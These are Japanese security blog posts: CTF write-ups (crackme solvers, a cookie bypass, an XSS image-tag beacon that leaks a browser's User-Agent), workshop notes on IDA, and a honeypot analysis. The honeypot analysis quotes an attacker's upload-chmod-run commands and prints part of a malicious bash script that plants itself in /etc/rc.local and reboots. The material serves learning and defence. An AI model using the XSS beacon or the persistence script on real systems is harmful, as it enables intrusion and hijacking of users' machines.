teppay’s log

技術ブログです。

SECCON Beginners CTF 2018 Writeup

はじめに

  • SECCON Beginners CTF 2018がはじめてOnlineで開催されたので参加した
  • 個人的には,最近勉強しているReversingとWebが(warmupを含めた)2問ずつしか解けなかったのがくやしい

Writeup

Reversing

[Warmup]Simple Auth
  • バイナリが与えられた
  • stringsではめぼしいものがなかったのでIDAにくわせた
  • scanfで得た30文字の入力を引数としてauthという関数に渡してcallしているのでまさにここだろう
  • hexで変数にflag文字列が入れられているので細かいところは見ずにそれを提出してみた ctf4b{rev3rsing_p4ssw0rd}
crackme

バイナリを解析して、入力値を求めてください。

crackmeというファイルを与えられた

$ file crackme
crackme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7e64cdb9686f4ec7c55701b9bbf8b69417da0c46, stripped

なにも考えずIDAに食わせた.
main関数を見た感じは,文字列を受け取ってそれを関数に渡してその結果によって当たり/はずれが出力されるというよくあるタイプのcrackmeという感じ
内部では,コマンドライン引数として与えられた文字列を最初の16文字と残りに分割して,それぞれを別の関数に通して検証をしているようだ
その関数の動作をそれぞれPythonで書き直してみると,

def sub1(s):
    b1 = b'\x9C\x9E\x8C\x3E\x68\x64\x7B\x3F\x50\x63\x0A\x7F\x55\x73\x1E\x64'

    idx = 0
    byte_601048 = 0xff

    res = True

    while idx < 0xf:
        print(s[idx:idx+4])
        if ((s[idx+0]^byte_601048)&0xff) != b1[idx]:
            res = False
        byte_601048 = (byte_601048^0x15)&0xff
        if ((s[idx+1]^byte_601048)&0xff) != b1[idx+1]:
            res = False
        byte_601048 = (byte_601048|0x20)&0xff
        if ((s[idx+2]^byte_601048)&0xff) != b1[idx+2]:
            res = False
        byte_601048 = (byte_601048&0xf)&0xff
        if ((s[idx+3]^byte_601048)&0xff) != b1[idx+3]:
            res = False
        idx += 4

        if res:
            res = byte_601048
    return res

def sub2(s, param):

    byte_601048 = param
    idx = 0

    b2 = (0x26345D606E7B553C).to_bytes(8, 'little') + (0x283F7939376D6526).to_bytes(8,'little')

    while idx < 0xf:
        print(s[idx:idx+4])
        if ((s[idx+0]^byte_601048)&0xff) != b2[idx]:
            res = False
        byte_601048 = (byte_601048&0xA)&0xff
        if ((s[idx+1]^byte_601048)&0xff) != b2[idx+1]:
            res = False
        byte_601048 = (byte_601048 + (byte_601048 << 3))*2 + byte_601048
        byte_601048 = byte_601048 + byte_601048*8
        byte_601048 = (byte_601048 >> 9) & 0xff
        if ((s[idx+2]^byte_601048)&0xff) != b2[idx+2]:
            res = False
        byte_601048 = (byte_601048 ^ 0x55)&0xff
        if ((s[idx+3]^byte_601048)&0xff) != b2[idx+3]:
            res = False

        idx += 4
    return res

どちらの関数も引数の文字列からそれぞれ4文字ずつ取り出して,ごちゃごちゃいじって,ハードコードされたバイト列と比較しています.
そのごちゃごちゃは,計算可能なグローバル変数の値(byte_601048)とXORのみで実現されているので,ハードコードされたバイト列からFlagを復元できました.

def solve_sub1():
    b1 = b'\x9C\x9E\x8C\x3E\x68\x64\x7B\x3F\x50\x63\x0A\x7F\x55\x73\x1E\x64'
    idx = 0
    byte_601048 = 0xff

    res = ''

    while idx < 0xf:
        res += chr(b1[idx+0]^byte_601048)
        byte_601048 = (byte_601048^0x15)&0xff
        res += chr(b1[idx+1]^byte_601048)
        byte_601048 = (byte_601048|0x20)&0xff
        res += chr(b1[idx+2]^byte_601048)
        byte_601048 = (byte_601048&0xf)&0xff
        res += chr(b1[idx+3]^byte_601048)
        idx += 4
    return (res, byte_601048)

def solve_sub2(param):
    byte_601048 = param
    idx = 0

    b2 = (0x26345D606E7B553C).to_bytes(8, 'little') + (0x283F7939376D6526).to_bytes(8,'little')

    res = ''

    while idx < 0xf:
        res += chr(b2[idx+0]^byte_601048)
        byte_601048 = (byte_601048&0xA)&0xff
        res += chr(b2[idx+1]^byte_601048)
        byte_601048 = (byte_601048 + (byte_601048 << 3))*2 + byte_601048
        byte_601048 = byte_601048 + byte_601048*8
        byte_601048 = (byte_601048 >> 9) & 0xff
        res += chr(b2[idx+2]^byte_601048)
        byte_601048 = (byte_601048 ^ 0x55)&0xff
        res += chr(b2[idx+3]^byte_601048)
        idx += 4
    return res

def main():
    res, param = solve_sub1()
    print(param)
    print(res+solve_sub2(param))

Web

[Warmup] Greeting
<?php

if(isset($_POST['name'])) {
  setcookie("name", $_POST['name'], time()+3600);
  $username = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8");

  // 管理者でログインできる?
  if($username === "admin") {
    $username = "偽管理者";
  }
} elseif(isset($_COOKIE['name'])) {
  $username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8");
} else {
  $username = "ゲスト";
}

?>
<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="UTF-8">
    <title>SECCON Beginners greeting service</title>
  </head>
  <body>
    <h1>こんにちは!<?=$username?>さん!</h1>
    <hr>
    <?php if($username === 'admin'): ?>
      こんにちは管理者さん。
      Flagは、 &quot;<?=$_ENV['SECCON_BEGINNERS_FLAG']?>&quot;です。
    <?php else: ?>
      こんにちは<?=$username?>さん。
      Flagは、管理者である&quot;admin&quot;さんにのみしか表示されません。
    <?php endif; ?>
    <form method="POST">
      <input type="text" placeholder="名前" name="name">
      <button type="submit">名前を変更する</button>
    </form>
    <pre>
    <code>
<?=htmlspecialchars(file_get_contents("./index.php"), ENT_QUOTES, "UTF-8")?>
    </code>
    </pre>
  </body>
</html>
    
    
  • 表示されている上記のphpソースを見ると,$username=adminだとFlagが表示されるみたい
  • ただ,フォームからadminと送信しても,$username="偽管理者"と書き換えられてしまう.
  • POSTnameパラメータが空の場合,nameというCookieに入った値が$usernameに入れられるらしい
  • そこでnameというCookieadminと指定してOWASP ZAPでPOSTをGETに書き換えてみたところFlagが表示された.
Gimme your comment

ビギナーズカンパニーは皆様からのご意見をお待ちしています。 お問合わせの回答には特別なブラウザを使用しており、このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-)

http://gyc.chall.beginners.seccon.jp

User-Agentを取得したいということで,おそらくXSSで外部にアクセスさせるんだろうなと思ったので,Puppeteerで実装された特別なブラウザのソースも与えられているが,ひとまずXSSを探すことにした.
URLにアクセスすると,ビギナーズカンパニーのお問い合わせサイトのようなものがあって,新規投稿を押すと,以下のようなフォームがある
f:id:teppay:20180529144013p:plain とりあえずこのどちらかだろうと当たりをつけて以下のように入力してみると f:id:teppay:20180529144031p:plain

f:id:teppay:20180529144046p:plain このように本文htmlのタグを仕込めることがわかった.
そこで,あとは外部にリクエストを発生させるhtmlタグを仕込めば良いので,

<img src='<サーバのURL>'/>

という感じで本文に入力して投稿すると,まんまとリクエストが飛んできて,HTTPヘッダのUser-Agentの部分にFlagがあった

Misc

[Warmup] Welcome

フラグは公式IRCチャンネルのトピックにあります。

IRCに行くと表示された

[Warmup] plain mail

pcapファイルが与えられた
タイトルから平文でやり取りされたメールが記録されているんだろうということでそれならWiresharkで見るまでもないと思ったので,stringsしてみた.

q XZ
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:38 +0000
.ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
/mail FROM:<me@4b.local> size=103
250 OK
0rcpt TO:<you@4b.local>
250 Accepted
0data
354 Enter message, ending with "." on a line by itself
0I will send secret information. First, I will send encrypted file. Second, I wll send you the password.
250 OK id=1fC17G-00005T-T0
421 67289bb1f069 lost input connection
q XZ
x(t@
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:40 +0000
hehlo [172.19.0.3]
4(u@
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
jmail FROM:<me@4b.local> size=658
<(w@
250 OK
krcpt TO:<you@4b.local>
B(x@
250 Accepted
kdata
l(y@
354 Enter message, ending with "." on a line by itself
kContent-Type: multipart/mixed; boundary="===============0309142026791669022=="
MIME-Version: 1.0
Content-Disposition: attachment; filename="encrypted.zip"
--===============0309142026791669022==
Content-Type: application/octet-stream; Name="encrypted.zip"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEE
AAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsH
CMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAA
AABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA=
--===============0309142026791669022==--
P(z@
250 OK id=1fC17I-00005a-Fw
\({@
421 67289bb1f069 lost input connection
q XZ
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:42 +0000
ehlo [172.19.0.3]
 250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=13
 250 OK
rcpt TO:<you@4b.local>
!250 Accepted
data
!354 Enter message, ending with "." on a line by itself
_you_are_pro_
!250 OK id=1fC17K-00005h-AC
1421 67289bb1f069 lost input connection
<5dhcpcd-7.0.1:Linux-4.15.10-1-ARCH:x86_64:GenuineIntel

Arch_VAIO
36:;w�

メールが3通送られているようで,1通目でI will send secret information. First, I will send encrypted file. Second, I wll send you the password.といっている.

2通目のメールからencrypted.zipを取り出し,3通目に書いてあるパスワードで解凍した.

flag.txtが出てきたので終了

てけいさんえくすとりーむず

てけいさんのプロのために作りました。 えくすとりーむなので300秒でタイムアウトします。

$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690

問題の通りてけいさんしていては300秒じゃとき終わらないし,ふつーに嫌なので以下の雑ソルバを書きました

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
import socket

def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp',8690))
    while(True):
        response = sock.recv(4096).decode('utf-8')
        if not response :
            break
        problem = response.split('\n')[-2:]
        print(*problem, sep='\n', end='')
        ans = str(eval(problem[1][:-2]))
        sock.send(ans.encode('utf-8')+b'\n')
        print(ans)



if __name__ == '__main__':
    main()

DEF CON Quals 2018 Writeup

はじめに

  • 常設なCTF(おもにLSE CTF)はちょいちょい解いていましたが,久しぶりのイベント型?CTF参加です
  • いままでSECCONオンライン予選にしか出たことがありませんでしたが,これからはチームも組めそうなのでじゃんじゃん挑戦していければと思っています.
  • 今回も今までどおりぼっち参戦です
  • 他の用事もあったので,warmup1問しか解けず,後追いでwarmupをもう1問ときました.つまり,大会終了後にwarmupを終えました...

解けた問題

You Already Know(warmup) - 101pt

Stop overthinking it, you already know the answer here.

You already have the flag.

Seriously, if you can read this, then you have the flag.

「これを読んでいるということは,もうFlagをゲットしているよ」と言われた.
これ系の問題はだれかのWriteupで見たことがあったし,warmupなので簡単だろうということで,Chromeの開発者ビュー?のNetworkタブでレスポンスを見てみたらコメントにFlagがあった

ELF Crumble(warmup) - 102pt

We prepared this beautiful binary that just printed for you the welcome flag, but it fell on the ground and broke into pieces.

Luckily no instruction was broken, so I am sure you can just glue it back together…

Flag format is non-standard, there are no brackets.

「Welcome Flagがprintしただけの美しいバイナリを用意したけど,壊れちゃったからくっつけてなおしてね」と言われた.
与えられたtgzファイルを解凍すると,以下のファイルが出てきた.

$ ll
-rwxr-xr-x@ 1 teppay  staff   7.3K  5  2 05:37 broken
-rw-r--r--@ 1 teppay  staff    79B  5  2 05:42 fragment_1.dat
-rw-r--r--@ 1 teppay  staff    48B  5  2 05:46 fragment_2.dat
-rw-r--r--@ 1 teppay  staff   175B  5  2 05:47 fragment_3.dat
-rw-r--r--@ 1 teppay  staff    42B  5  2 05:48 fragment_4.dat
-rw-r--r--@ 1 teppay  staff   128B  5  2 05:56 fragment_5.dat
-rw-r--r--@ 1 teppay  staff    22B  5  2 05:56 fragment_6.dat
-rw-r--r--@ 1 teppay  staff   283B  5  2 06:00 fragment_7.dat
-rw-r--r--@ 1 teppay  staff    30B  5  2 06:00 fragment_8.dat

$ file *
broken:         ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cd47d8a237a3139d1884b3ef52f6ed387c75772, not stripped
fragment_1.dat: data
fragment_2.dat: data
fragment_3.dat: data
fragment_4.dat: data
fragment_5.dat: data
fragment_6.dat: data
fragment_7.dat: data
fragment_8.dat: data

唯一のELFファイルであるbrokenstringsコマンドに食わせてみると,

$ strings broken
[snip]
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[snip]

この様に807バイトのXが連続した文字列が見つかり,これは明らかにあやしい.
問題文とbroken以外のファイル名に共通しているflagment(断片)という単語から,このXで埋められた部分にflagment-n.datたちが入ることで,バイナリが完成するのではと思い,flagment-n.datのファイルサイズを足してみたら,ビンゴだった.

$ expr 79 + 48 + 175 + 42 + 128 + 22 + 283 + 30
807

つまり,このflagment_n.batを正しい順番に並べ替えて,Xで埋められた部分にはめればいいというわけだと思う.

※※恥ずかしげもなく長ったらしくWriteupしていますが,この問題はwarmup問題です

objdumpしてbrokenの中身を見てみると,

  • f1
  • f2
  • f3
  • recover_flag
  • main

の5つの関数がXで塗りつぶされている. そのままobjdumpの出力を使って,それぞれの関数のサイズを調べてみると,

  • f1 316Byte (0x5ad~0x6e8)
  • f2 69Bytes (0x6e9~0x72d)
  • f3 116Bytes (0x72e~0x7a1)
  • recover_flag 58Bytes(0x7a2~0x7db)
  • main 248Bytes(0x7dc~0x8d3)

関数の個数とサイズを見て,関数とfragment_n.datのファイルたちは 1対1には対応していないだろうということで,次にfragment_n.datファイルを見ていくことにした.

objdumpできるかと思ったらさすがひらけず,IDAで開いてみたらディスアセンブルできた.(たまにデータと認識されている部分があったので,'C'を押してコードと認識し直してもらいながら)
アセンブラを読んで関数のつながりのようなものを見ていければ良いのかもしれないが,自分はまだ関数のはじめとおわりを認識するのがやっとなので,以下のようにfragment_n.datの中の構造を書き出してみた.

fragment_1.dat
  • 関数の後半(3Bytes)|関数(69Bytes)|関数の前半(5Bytes)
fragment_2.dat
  • 関数の後半(11Bytes)|関数の前半(26Bytes)
fragment_3.dat
  • 関数の中間部分(175Bytes)
fragment_4.dat
  • 関数の後半(42Bytes)
fragment_5.dat
  • 関数の後半(109Bytes)|関数の前半(17Bytes)
fragment_6.dat
  • 関数の中間部分(20Bytes)
fragment_7.dat
  • 関数の中間部分(281Bytes)
fragment_8.dat
  • 関数の始まり(29Bytes)

おそらくバイナリの最後の命令のバイト数がわからなくて若干のずれが生じてしまっているが,関数のサイズと照らし合わせるとfragment_{8,7,1,5,6,2,3,4}.datの順番でならべるとピッタリはまる(はず)

そこでひとまずこれらを並べてくっつけた,pieceというバイナリを作った.

$ cat fragment_8.dat fragment_7.dat fragment_1.dat fragment_5.dat fragment_6.dat fragment_2.dat fragment_3.dat fragment_4.dat > piece

ということで,あとはこれをbrokenに埋め込むだけ...やりかたがわからない

もっとスマートな方法を使いたかったが,わからなかったのでバイナリエディタでコピペして,願いもこめてnotbrokenという名前で保存した.

$ ./notbroken

と実行したら,それらしい出力があったので解けたみたい

セキュキャンWS ~The Anatomy of Malware~ に参加した

はじめに

  • 3/23にセキュリティ・キャンプWSに参加してきました
  • 今回の講義は、セキュリティ・キャンプ2017全国大会で応募が殺到?した(倍率は1.5倍程度だったらしい)人気講義の完全版ということで、中津留勇さんのThe Anatomy of Malwareという講義でした。
  • 僕は2017年全国大会の修了生なのですが、僕もその講義の受講を希望して、落選したうちの一人だったので、今回参加できたのは非常に嬉しかったです。
  • 講義資料は公開できませんが、「勉強したことを公開するのはOK」 「僕がこの講義をした証を残してください(意訳)」的なことを中津留さんが言っていたので、講義で学んだことを簡単に書こうと思います。

セキュリティ・キャンプWSとは

一応、公式情報がインターネット上にない?そうなので書きます。

  • 「セキュリティ・キャンプWS」は、IPAが主催する、キャンプ修了生(全国大会、ミニキャンプ参加者)を対象に演習中心のワークショップ
  • セキュリティ・キャンプ参加した人しか参加できないというのが逆にとても良い(個人的な感想です)

学んだことメモ

講義内容としては、「The Anatomy of Malware(マルウェア解剖学)というタイトルからも分かる通り、

についての講義でした。
静的解析ということで、IDAを使って(効率的に)ゴリゴリアセンブリを読んでいく方法を教えてもらいました。
ちなみに、今回のものではありませんが、中津留さんのマルウェア解析講義に関する資料はJPCERTによって公開されており、これが今回の講義の事前学習になっていました。 セキュリティ・キャンプ全国大会2015でのマルウエア分析講義(2015-09-10)

引越しの準備で忙しいので、自分が特に印象に残っていて、すぐ使える!と思った2つのテクニックのみ挙げたいと思います。笑

色をつける!

IDAには、IDCというC言語に似たプログラムを実行する機能があり、解析のための機能(コメントをつける、エンコード・デコードするなど?)を独自で実装できます。
これを使ってアセンブリを読みやすく色をつけようということです。
今回の講義で色付けすることをおすすめされたのは、

  • jmp/call命令
  • xor命令

でした。前者は単純に関数内の遷移をわかりやすくするためですが、xorは、マルウェアによる難読化や簡単な暗号化などの処理によく使われるからだそうです。

公開された資料(セキュリティ・キャンプ全国大会2015でのマルウエア分析講義(2015-09-10))の最後にコードがのっていますが、 File > IDC Commandをクリックして、以下のコードを入力することで、jmp命令とcall命令をLight Blueにすることができます。

auto head, op;
head = NextHead(0x00000000, 0xFFFFFFFF);
while ( head != 0xFFFFFFFF ){
    op = GetMnem(head);
    if ( op == "jmp" || op == "call" )
        SetColor(head, CIC_ITEM, 0xFFFCF8);
    head = NextHead(head, 0xFFFFFFFF);
}

なぜかカラーコードはRGBではなく、BGRの順番です。
そして自分はこれを以下のように変更して、色を変えるのと、xor命令に対応させました。

auto head, op;
head = NextHead(0x00000000, 0xFFFFFFFF);
while ( head != 0xFFFFFFFF ){
    op = GetMnem(head);
    if ( op == "jmp" || op == "call" )
        SetColor(head, CIC_ITEM, 0xDDDDFF);
        
    if (op == "xor")
        SetColor(head, CIC_ITEM, 0xC9E6C8);

    head = NextHead(head, 0xFFFFFFFF);
}

調べてみると、
xor命令のうち、xor eax, eaxのようにゼロ初期化する以外の、純粋なxor?のみ色付けするようなことも出来るようなので、やってみようと思います。

ググる

APIについて

静的解析ではcallされているAPIとそれに渡される引数から関数の動作を特定していきます。
それにあたって、APIについて調べるのに一番手っ取り早いツールがGoogleというわけです。
例えば、CreateProcessというAPIcallされている場合、そのままAPI名でググれば一番上にドキュメントが、しかも日本語でヒットします。 (参考:CreateProcess - Google 検索)

とりあえずググる

さらに、静的解析をするにあたって、おそらく重要なことの1つとして、全部読まないことがあげられていました。
これは、コードを読まなくても推測が可能である部分は、読まずに済ませ、解析の速度をあげようということですが、これにもGoogleが活躍します。
例えば、コード内で("52 09 6A D5 30"から始まる)謎のバイト列を読み込んで処理を行う部分があった場合、ひとまず"52 09 6A D5 30"でググってみます。(参考: 52 09 6A D5 30 - Google 検索)
すると、これまた一番上にRijndael S-boxというAESに関連するワードがヒットします。
ここからこのバイト列を読み込んでいる部分はAESの処理をしている部分であると推測することができるわけです。

まとめ

  • 4時間の講義でしたが、すごく終わるのが早く感じました
  • ただめっちゃ頭がつかれました。。。
  • セキュキャンWSまた参加したいです

はじめてのハニーポットログ分析 - RaspberryPiにIRCBotを設置しようとする攻撃

はじめに

  • Cowrieでダウンロードされたファイルを見ていたら、シェルスクリプトを見つけました。
  • 現在、PracticalMalwareAnalysisでマルウェア解析を勉強中ですが、まだまだ本物の検体は扱えないと思います。
  • ただシェルスクリプトなら何をしているかわかるかなと思い、今回分析してみることにしました。
  • まともにログ分析をするはじめての記事なので、攻撃事例紹介というよりは、どうやってやったかというWrite up的な記事にしようと思います。

やったこと

攻撃?を受けたのは、低対話型SSHハニーポットであるCowrieで、最近やり方を知って、Cowrieの認証をUserDB方式に変えていたところに来たものです。

teppay.hatenablog.com

なんのアカウントで待ち受けていたかというと、pi/raspberry(Raspbianのデフォルト)です。
「はじめに」にも書きましたが、今回の記事の発端は、Cowrieで不正ログインしたユーザがダウンロードしたファイルをfileコマンドで調べたら、

b33b30c3cc7e027320e4d203303cc36a4e84b44451278bbb524ec54d5f61a4d6: Bourne-Again shell script executable (binary data)

bashシェルスクリプトであることがわかって、「自分でも分析できるんじゃね?」と思ったからです。

1. VirusTotal

まずは表層解析の定番?のVirusTotalです。
Cowrie(というかほとんどのハニーポット)では攻撃などによってダウンロードしたファイルは、そのファイルのハッシュ値にリネームされた上で専用のディレクトリに移動されます。
なので、ファイル名で検索をかけることで、VirusTotalにすでに提出されているかどうか調べることが出来ます。
今回分析するシェルスクリプトのSHA256ハッシュ値b33b30c3cc7e027320e4d203303cc36a4e84b44451278bbb524ec54d5f61a4d6です。 f:id:teppay:20180121003449p:plain このような結果でした。
ここでまず驚いたのは、分析日時が2時間前と表示されている点です。世界のどこかで同じ検体を入手して、VirusTotalで分析している人がいるわけです。
いままではハニーポットを運用していても、「入門編」レベルなことしかしていなかったため、なんとなくやっとハニーポッターの仲間入りできたような気がしてゾクゾクしました笑

25/58と高いのか低いのかよくわからない検出率でしたが、それぞれの「ウイルス対策ソフト」の検出名をみてみると、TrojanIRCBotBackdoorなど怪しいものがたっぷりだったので、悪意のあるものと判断して先に進みます。

2. Cowrieの通信ログの分析

ダウンロードされたシェルスクリプトを解析していきたいところですが、まずはこのシェルスクリプトがどのような経緯でダウンロードされたかを見ていこうと思います。
Cowrieでは、(もちろん)ダウンロードされたファイルのみでなく、アクセスログやシェル内での攻撃者の行動などをJSONやtextの形式で記録しています。
ログから該当するアクセスを拾ってみると、同じIPから同一ユーザ名/パスワードを使って2度のアクセスが短いスパンでありました。

1回目のアクセス

まず一回目は、以下の様なアクセスログが記録されています(IPアドレスは******で意図的に隠しています)

{
  "eventid": "cowrie.login.success",
  "username": "pi",
  "timestamp": "2018-01-19T01:58:13.797053Z",
  "message": "login attempt [pi/raspberry] succeeded",
  "system": "SSHService 'ssh-userauth' on HoneyPotSSHTransport,1715,******",
  "isError": 0,
  "src_ip": "*******",
  "session": "d3c411dda805",
  "password": "raspberry",
  "sensor": "b96141e2dfce"
}
{
  "eventid": "cowrie.command.input",
  "timestamp": "2018-01-19T01:58:14.724173Z",
  "message": "CMD: scp -t /tmp/N0yShQaN",
  "system": "SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,1715,******",
  "isError": 0,
  "src_ip": "******",
  "session": "d3c411dda805",
  "input": "scp -t /tmp/N0yShQaN",
  "sensor": "b96141e2dfce"
}
{
  "eventid": "cowrie.session.closed",
  "timestamp": "2018-01-19T01:58:14.784779Z",
  "message": "Connection lost after 1 seconds",
  "system": "HoneyPotSSHTransport,1715,******",
  "isError": 0,
  "src_ip": "******",
  "duration": 1.2227919101715088,
  "session": "d3c411dda805",
  "sensor": "b96141e2dfce"
}

これらのログでわかるのは以下のことです。

ユーザ名pi、パスワードraspberryでアクセスしてきている。

このユーザ/パスワードの組からRaspberryPiを標的とした攻撃の可能性を考え、同一IPアドレスによるログイン試行を確認してみると上記のアクセスの他に、

  • pi/raspberryraspberry993311

の組み合わせでのログイン試行があったため、RaspberryPiを標的としていることを確信しました。

scp -t /tmp/N0yShQaNというコマンドを実行している。

scpコマンドのtオプションは、manにも書かれていない隠しコマンド的なオプションらしく、最初なにをしているのかわかりませんでした。
しかしhttp://ttssh2.osdn.jp/tmp/scp_memo.txtのサイトを見つけ、なんとなく理解できました。
詳しくは上記のWebサイトを参照していただきたいのですが、SSH接続中にファイルを転送する方法で、SSH接続中にscp -t <file_path>を実行すると、標準入力が入力待ちになり、そこでファイル名やファイルの中身を入力することで入力したファイルが転送されるというもののようです。

例えば以下のようにすると、

$ scp -t /tmp/test
C0666 8 test
testtest
\0

リモートの/tmp/配下にtesttestという内容の、testというファイルができます。

つまり上記のコマンドでは、リモートの/tmp/配下に攻撃者のローカルで入力された内容のN0yShQaNというファイルを作成したということがわかります。このログからはどのような内容のファイルを作成したかわからないわけですが、Cowrieが退避してくれたファイルがそれに当たるので、攻撃者はシェルスクリプト/tmp/N0yShQaNとして送信してきたことがわかります。 N0yShQaNというファイル名でググって見ましたがなにもわかりませんでした。

上記のコマンドしか実行していない

マルウェア?をダウンロードしたのであれば、それを実行したいはずですが、このセッションではその実行のためのコマンド実行はありませんでした。
このことから、このあと紹介する2つ目のアクセスがあることに気づきました。

1.2227919101715088秒?という短いセッション継続時間

まあ当たり前ですが、人が毎回手でコマンドを実行しているわけはなく、たっくさんのIPアドレスに対して、自動でログイン試行するプログラムが走っているんでしょう。

2回目のアクセス

2回目は、以下の様なアクセスログが記録されています(IPアドレスは******で意図的に隠しています)

{
  "eventid": "cowrie.login.success",
  "username": "pi",
  "timestamp": "2018-01-19T01:58:16.205180Z",
  "message": "login attempt [pi/raspberry] succeeded",
  "system": "SSHService 'ssh-userauth' on HoneyPotSSHTransport,1717,******",
  "isError": 0,
  "src_ip": "******",
  "session": "c45babcd5491",
  "password": "raspberry",
  "sensor": "b96141e2dfce"
}
{
  "eventid": "cowrie.command.input",
  "timestamp": "2018-01-19T01:58:16.791635Z",
  "message": "CMD: cd /tmp && chmod +x N0yShQaN && bash -c ./N0yShQaN",
  "system": "SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,1717,******",
  "isError": 0,
  "src_ip": "******",
  "session": "c45babcd5491",
  "input": "cd /tmp && chmod +x N0yShQaN && bash -c ./N0yShQaN",
  "sensor": "b96141e2dfce"
}
{
  "eventid": "cowrie.session.closed",
  "timestamp": "2018-01-19T01:58:16.825844Z",
  "message": "Connection lost after 0 seconds",
  "system": "HoneyPotSSHTransport,1717,******",
  "isError": 0,
  "src_ip": "******",
  "duration": 0.943026065826416,
  "session": "c45babcd5491",
  "sensor": "b96141e2dfce"
}

これらのログからわかることは以下のことです。

(同じIPアドレスから)pi/raspberryの組み合わせで再びのアクセス

同一IPから同一のユーザ名/パスワードの組を用いてのログインです。
また、タイムスタンプを見ていただければわかりますが、2つのアクセスは1秒程度の間隔で行われています。このことと実行コマンドから、この2つのアクセスが1連の攻撃であると判断しました。

cd /tmp && chmod +x N0yShQaN && bash -c ./N0yShQaNというコマンドを実行している。

実行されたコマンドを改行して見やすくすると、

cd /tmp && 
chmod +x N0yShQaN &&
bash -c ./N0yShQaN

このように3つのコマンドを1行で表しており、これは明らかに1回目のアクセスでダウンロードした/tmp/N0yShQaNのPermissionを実行可能に変更して、とくにオプションなしでbashで実行しています。
上にも書きましたが、このことからも2つの同一IPからのアクセスが1連の攻撃であることがわかります。

3. ダウンロードされたシェルスクリプトの分析

これまでのログ分析では、シェルスクリプトをダウンロードして実行したということしかわかりませんでしたので、シェルスクリプトの内容を分析していく必要があります。
長いスクリプトですので分けて分析していきます。

#!/bin/bash

MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG

if [ "$EUID" -ne 0 ]
then 
    NEWMYSELF=`mktemp -u 'XXXXXXXX'`
    sudo cp $MYSELF /opt/$NEWMYSELF
    sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
    sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
    sudo sh -c "echo 'exit 0' >> /etc/rc.local"
    sleep 1
    sudo reboot
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG
  • $EUIDとはスクリプトを実行したユーザ権限を示す数字が入っており、0場合はroot権限であることを表しています。
  • /etc/rc.localは、bashでいうところの.bashrcのようなファイルで、Linuxが起動する際に自動で実行してほしいコマンドを書くファイルです。
